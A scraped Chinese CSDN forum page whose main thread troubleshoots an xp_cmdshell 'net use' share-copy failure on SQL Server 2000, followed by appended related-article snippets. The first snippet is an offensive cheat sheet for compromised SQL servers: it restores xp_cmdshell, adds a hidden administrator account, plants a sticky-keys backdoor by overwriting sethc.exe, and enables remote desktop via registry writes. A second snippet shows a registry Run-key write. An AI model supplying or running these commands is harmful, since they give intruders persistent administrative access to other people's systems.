系统存储过程xp_cmdshell的一个小问题。

mystart 2003-05-12 04:03:21
如下语句:
EXEC master..xp_cmdshell 'net use \\192.168.0.1\public "Password" /User:UserName'
EXEC master..xp_cmdshell 'copy f:\public\a01.bak \\192.168.0.1\public'

执行第一句时出现以下错误提示:
output
-----------------------------------------
系统发生 1312 错误。
NULL
指定的登录会话不存在。可能已被终止。
NULL
NULL

所以第二句不能复制,提示“拒绝访问。”

环境:Win2000 Server + SQL Server 2000

请高手指点迷津
...全文
88 11 打赏 收藏 转发到动态 举报
写回复
用AI写文章
11 条回复
切换为时间正序
请发表友善的回复…
发表回复
mystart 2003-05-14
  • 打赏
  • 举报
回复
可以了,谢谢大家.
mystart 2003-05-13
  • 打赏
  • 举报
回复
快烦死了!!!!
还是不行,实在是找不到原因了,在DOS提示符下操作都没问题
在SQL查询分析器里就是不行
mystart 2003-05-13
  • 打赏
  • 举报
回复
我在两台机子上进行了测试
都是Win2000 Server SP3 + SQL 2000 SP3,没有设置域
并且两台机子的Administrator密码是一样的,SQL Server都是用Windows身份认证
在DOS提示符下直接Copy也可以
但在SQL 查询分析器里还是不行,一样的提示
leimin 2003-05-13
  • 打赏
  • 举报
回复
最简单..
1.你将DOMIAN ADMINISTRATOR的一个USER,加入到本地的ADMINISTRATOR组.
2.改变MSSQLSERVER SERVICE的启动帐户为该用户(一定要作).
3.RUN THE T-SQL SCRIPT
leimin 2003-05-13
  • 打赏
  • 举报
回复
楼主,你看了我的提示么?你LOGIN到MSSQLSERVER的用户和你访问\\XXX.XXX.XXX.XXX\PUBLIC的用户是不一样的,如果你在SQL查询分析器里执行,那么就是已MSSQLSERVER SERVICE启动的帐户来访问\\XXX.XXX.XXX.XXX\PUBLIC,所以我建议你一定要改变MSSQLSERVER SERVICE的启动帐户,使该帐户有访问\\XXX.XXX.XXX.XXX\PUBLIC的权限即可!!
CrazyFor 2003-05-12
  • 打赏
  • 举报
回复
public 要是一个共享名,看样子你是没有在192.168.0.1机器开这样的一个共享。
leimin 2003-05-12
  • 打赏
  • 举报
回复
更改你的MSSQLSERVER SERVICE的启动帐户.将LOCAL SYSTEM改为一个域用户,并且对\\\192.168.0.1\public 有写死亡权限!

我用Administrator登录

这和你所用的用户LOGIN没有关系!
mystart 2003-05-12
  • 打赏
  • 举报
回复
在DOS提示符下执行都没问题
在另一台电脑上运行时第一次可以,以后都是相同的出错提示
我用Administrator登录
pengdali 2003-05-12
  • 打赏
  • 举报
回复
1、你要保证在dos下执行你的语句没有问题
2、@sql <<==里面的dos命令不要加任何的回车!
3、你有权限吗?我是说windows权限
mystart 2003-05-12
  • 打赏
  • 举报
回复
还是同样的提示。
mjhnet 2003-05-12
  • 打赏
  • 举报
回复
--类似这样试一试

declare @sql char(100)
set @sql = 'net use \\202.192.0.120\c ' + '''' + 'Password' + '''' + ' /User:UserName'
print @sql
EXEC master..xp_cmdshell @sql
1、 未能找到存储过程'master..xpcmdshell' 这种情况我看到网上的方法是: 第一步先删除: drop procedure sp_addextendedproc drop procedure sp_oacreate exec sp_dropextendedproc 'xp_cmdshell' 第二步恢复: dbcc addextendedproc ("sp_oacreate","odsole70.dll") dbcc addextendedproc ("xp_cmdshell","xplog70.dll") 2、 原因: 126(找不到指定的模块。)。 修复方法: 第一步: dbcc dropextendedproc ("xp_cmdshell") 第二步先删除: drop procedure sp_addextendedproc drop procedure sp_oacreate exec sp_dropextendedproc 'xp_cmdshell' 第三步恢复: dbcc addextendedproc ("sp_oacreate","odsole70.dll") dbcc addextendedproc ("xp_cmdshell","xplog70.dll") 直接恢复,不管sp_addextendedproc是不是存在 3、 Error Message:SQL Server 阻止了对组件 'xp_cmdshell' 的 过程 'sys.xp_cmdshell' 的访问,因为此组件已作为此服务器安全配置的一部分而被关闭。系统管理员可以通过使用 sp_configure 启用 'xp_cmdshell'。有关启用 'xp_cmdshell' 的详细信息,请参阅 SQL Server 联机丛书中的 "外围应用配置器"。 修复方法:分离器上执行 EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE; 4、 net提权出现 拒绝访问 可以尝试一下net1 user 用户 密码 /add 如果net1也是拒绝访问可以copy一个shfit后门试试执行cmd命令:copy c:\windows\explorer.exe c:\windows\system32\sethc.exe copy c:\windows\system32\sethc.exe c:\windows\system32\dllcache\sethc.exe 如果提示 复制1文件 哪么证明成功了。连接终端然后按5下shift看看蹦出来了什么。玩咔咔 资源管理器,现在只要手工加个用户就好了。 5、 建号 net user chenyu chenyu$ /add net localgroup administrators chenyu /add C:\WINDOWS\system32\dllcache\net1.exe user chenyu chenyu$ /add C:\WINDOWS\system32\dllcache\net1.exe localgroup administrators chenyu /add 5、 开3389 execmaster.dbo.xp_regwrite'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnections','REG_DWORD',0;--
存储过程的安全及性能优化 存储过程分类  系统存储过程  自定义存储过程  SQL Server使用者编写的存储过程  扩展存储过程  动态链接库(DLL)函数的调用看,主要用于客户端和服务器端之间进行通信  exec master..xp_cmdshell 'dir *.exe' -- 执行目录命令查询[sql2005\sql2008]  exec master..xp_fixeddrives --列出硬盘分区各自可用空间  xp_regwrite根键,子键,值名,值类型,值【sql2008拒绝访问】  写入注册表,例如:  exec master..db.xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\run','TestValueName','reg_sz','hello'  xp_regdeletevalue 根键,子键,值名【sql2008拒绝访问】  删除注册表某个值  xp_regdeletekey键,值【sql2008拒绝访问】  删除该键下包括的所有值 xp_cmdshell语法  xp_cmdshell {'command_string'} [,no_output]  command_string是在操作系统命令行解释器上执行的命令字符串。command_string数据类型为varchar(255)或者nvarchar(4000),没有默认值  no_output为可选参数,可以控制是否想客户端返回信息  该存储过程一般情况下被禁用的,需要手动开启使用,如下:  exec sp_configure 'show advanced options',1  go   reconfigure  go   exec sp_configure 'xp_cmdshell',1—1表示启用,0表示禁用  go   reconfigure  go 删除xp_cmdshell SQL SERVER200删除xp_cmdshell use master exec sp_dropextendedproc 'xp_cmdshell' go SQL SERVER2005以上禁用xp_cmdshell,但不能删除掉 exec sp_configure 'xp_cmdshell',0 —1表示启用,0表示禁用  go reconfigure --让sp_configurre立即生效  go  exec sp_configure 'show advanced options',0  go   reconfigure  go --注意:SQL SERVER2008考虑安全性很多存储过程直接被拒绝访问 恢复/启用扩展存储过程 SQLServer2000 use master exec sp_addextendedproc xp_cmdshell,'xplog70.dll' go SQL Server2005或SQL Server2008启用xp_cmdshell  exec sp_configure 'show advanced options',1  go   reconfigure  go   exec sp_configure 'xp_cmdshell',1—1表示启用,0表示禁用  go   reconfigure  go 扩展存储过程的定义  扩展存储过程是SQL Server中的另一类存储过程,它是以其它语言编写的外部程序,是以动态链接库(DLL)形式存储在服务器上,最终SQLServer就可以动态加载并执行它们  编写好后使用SQLServer的固定角色sysadmin注册该扩展存储过程,并将执行权限授予其它用户,这个扩展存储过程只能添加到master数据库。  在编写扩展存储过程中可能要用到某些系统存储过程,这些系统存储过程如下: 利用OLE自动化存储过程调用dll 1.创建类库程序集 namespace PB_ExtendProcedure { public class ExtendProcedure { public string SayHi() { return "hello world"; } } } 2.生成动态链接库并注册到系统中 2.1.生成动态链接库使用VS2010命令行工具 使用sn命令生成一个强命名文件: sn -k he

22,206

社区成员

发帖
与我相关
我的任务
社区描述
MS-SQL Server 疑难问题
社区管理员
  • 疑难问题社区
  • 尘觉
加入社区
  • 近7日
  • 近30日
  • 至今
社区公告
暂无公告

试试用AI创作助手写篇文章吧